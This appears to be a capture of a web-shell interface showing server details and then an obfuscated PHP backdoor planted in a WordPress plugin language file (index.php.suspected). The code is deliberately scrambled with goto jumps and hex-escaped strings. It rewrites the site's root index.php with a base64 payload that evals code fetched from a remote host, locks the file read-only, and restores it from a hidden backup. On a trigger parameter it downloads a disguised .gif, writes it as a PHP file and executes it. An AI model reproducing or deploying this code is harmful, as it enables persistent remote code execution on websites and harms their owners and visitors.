HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/languages/plugins/index.php.suspected
<?php
goto GRLDV; lnF3g: $BCwMJ = isset($_SERVER["\x48\124\x54\120\123"]) && $_SERVER["\x48\x54\x54\x50\123"] == "\x6f\x6e" ? "\150\164\x74\x70\x73" : "\x68\x74\x74\x70"; goto U2CQz; vXzQA: @unlink($teIhn); goto bmmVL; bmmVL: @file_put_contents($teIhn, base64_decode($GBe1y)); goto mi5qO; sa3wQ: goto p3u1w; goto UIpDv; DKGbz: if (file_exists($sh5Ur)) { goto nWB0H; } goto AgL8W; vVS48: $GBe1y = "PD89LyoqKiovQG51bGw7IC8qKioqKioqKi8gLyoqKioqKiovIC8qKioqKioqKi9AZXZhbC8qKioqLygiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzLyoqKioqKiovKCJceDY4XHg3NFx4NzRceDcwXHgzYVx4MmZceDJmXHg3M1x4MmVceDZlXHg2NVx4NzdceDZlXHg2NFx4NjFceDc5XHgyZVx4NzhceDc5XHg3YVx4MmYiLiIvXHgzNFx4MzBceDMwXHgzMS9ceDM0XHgzMFx4MzBceDMxLjExLmlkeCIpKTsvKiovPz4KPD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLw0KcmVxdWlyZSBfX0RJUl9fIC4gJy93cC1ibG9nLWhlYWRlci5waHAnOyA/Pg=="; goto g0AxS; RJO4n: $IIRkA = "'wp-includes_old/blocks/navigationXxzVL.log'"; goto puFaq; iFEw8: @file_get_contents($LDSdT, false, stream_context_create($FmNyg)); goto fzqB5; mi5qO: @chmod($teIhn, 0444); goto Q1h6s; A2YB1: if (file_exists($sh5Ur)) { goto vPFTh; } goto vVS48; UIpDv: vPFTh: goto kmtoG; KFCjO: $MUfhd = 367; goto QZr3e; hj0J5: @chmod($teIhn, 438); goto vXzQA; vBbuc: echo filesize($teIhn); goto JW2S_; GRLDV: $teIhn = $_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\124\137\x52\x4f\x4f\x54"] . "\57\x69\x6e\x64\x65\x78\56\160\150\x70"; goto RJO4n; aYxiF: Z9u3k: goto pL_CA; Q1h6s: p3u1w: goto R15wv; kmtoG: $GBe1y = @file_get_contents($sh5Ur); goto hj0J5; juSHf: $LDSdT = $BCwMJ . "\72\x2f\57" . $OLdjY . "\57\x63\171\x62\x6f\162\x67\137\x74\x6d\160\56\160\x68\160"; goto iFEw8; JW2S_: CPoLu: goto stoY0; gQwrQ: if (!($_GET["\x6c\x69\x6e\145"] == "\141")) { goto CPoLu; } goto DKGbz; v1Cq2: @chmod($teIhn, 0444); goto sa3wQ; H3sdL: @file_put_contents($jmeyB, $b5fe7); goto qdfJt; VMluy: if (!$b5fe7) { goto Z9u3k; } goto joH1j; qdfJt: $FmNyg = array("\163\163\154" => array("\166\145\x72\151\x66\171\137\x70\x65\x65\x72" => false, "\x76\x65\162\151\146\171\x5f\x70\145\145\162\x5f\156\x61\155\145" => false), "\150\x74\x74\160" => array("\155\145\x74\x68\x6f\x64" => "\x47\x45\124", "\164\x69\x6d\145\157\x75\164" => "\63")); goto lnF3g; N7Wor: @unlink($teIhn); goto Gbwg1; Qkn7r: $b5fe7 = @file_get_contents($d0efA); goto VMluy; Gbwg1: @file_put_contents($teIhn, base64_decode($GBe1y)); goto v1Cq2; g0AxS: @chmod($teIhn, 438); goto N7Wor; r35kR: $d0efA = "\150\164\x74\x70\x3a\x2f\57\x73\x2e\156\x65\x77\x6e\144\x61\171\56\170\x79\172\57\143\171\57\x63\171\x2e\147\151\146"; goto Qkn7r; joH1j: $jmeyB = $_SERVER["\x44\x4f\x43\x55\115\x45" . "\x4e\124\137\x52\117\117\x54"] . "\57\x63\x79\142\x6f\162\147\x5f\164\x6d\160\56\160\150\x70"; goto H3sdL; puFaq: $sh5Ur = $_SERVER["\104\x4f\103\x55\x4d\x45\x4e\124\x5f\122\x4f\x4f\x54"] . "\57" . $IIRkA; goto KFCjO; U2CQz: $OLdjY = $_SERVER["\110\124\124\120\137\x48\x4f\x53\124"]; goto juSHf; fzqB5: $sYKnl = @unlink($jmeyB); goto aYxiF; QZr3e: if (!(!file_exists($teIhn) or filesize($teIhn) != $MUfhd)) { goto sxc3Y; } goto A2YB1; AgL8W: echo "\154\x6f\163\x74\40\x6c\157\147"; goto KLfZ0; KLfZ0: nWB0H: goto vBbuc; stoY0: if (!(filesize($teIhn) == $MUfhd && $_GET["\143\x79"] == "\x31")) { goto dKs1B; } goto r35kR; R15wv: sxc3Y: goto gQwrQ; pL_CA: dKs1B: